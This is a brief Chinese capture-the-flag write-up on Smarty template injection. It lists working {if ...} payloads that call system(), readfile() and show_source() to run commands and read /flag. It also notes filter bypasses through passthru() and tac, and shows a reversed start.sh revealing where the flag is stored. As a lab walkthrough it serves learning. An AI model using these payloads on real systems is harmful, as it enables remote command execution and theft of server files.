模板注入
打开题目
得到提示,传递参数
随机传一个参数,得到源码
在这地方卡了挺久的,发现smarty是个模板,测试一下是不是模板注入
确实为smarty模板注入
常用payload
{if phpinfo()}{/if}
{if system('ls')}{/if}
{if readfile('/flag')}{/if}
{if show_source('/flag')}{/if}
{if system('cat ../../../flag')}{/if}
smarty中的{if}标签中可以执行php语句
审计代码发现过滤挺多函数的,查找笔记发现passthru()函数没过滤
通过一层层目录跳跃发现了东西start.sh
cat被过滤了,可以同tac命令查看文件
审计代码
/usr/bin/tail -f /dev/null
done
sleep 1000
do
while test "1" = "1"
export T=$RANDOM # T随机生成数字
FLAG=not_flag
export FLAG=not_flag
chmod 444 /_$T
echo $FLAG > /_$T # $Flag放入根目录下的_T文件下
T=$RANDOM
export T=$RANDOM
service apache2 start
#!/usr/bin/env bash
再看根目录发现_1009
查看文件得到flag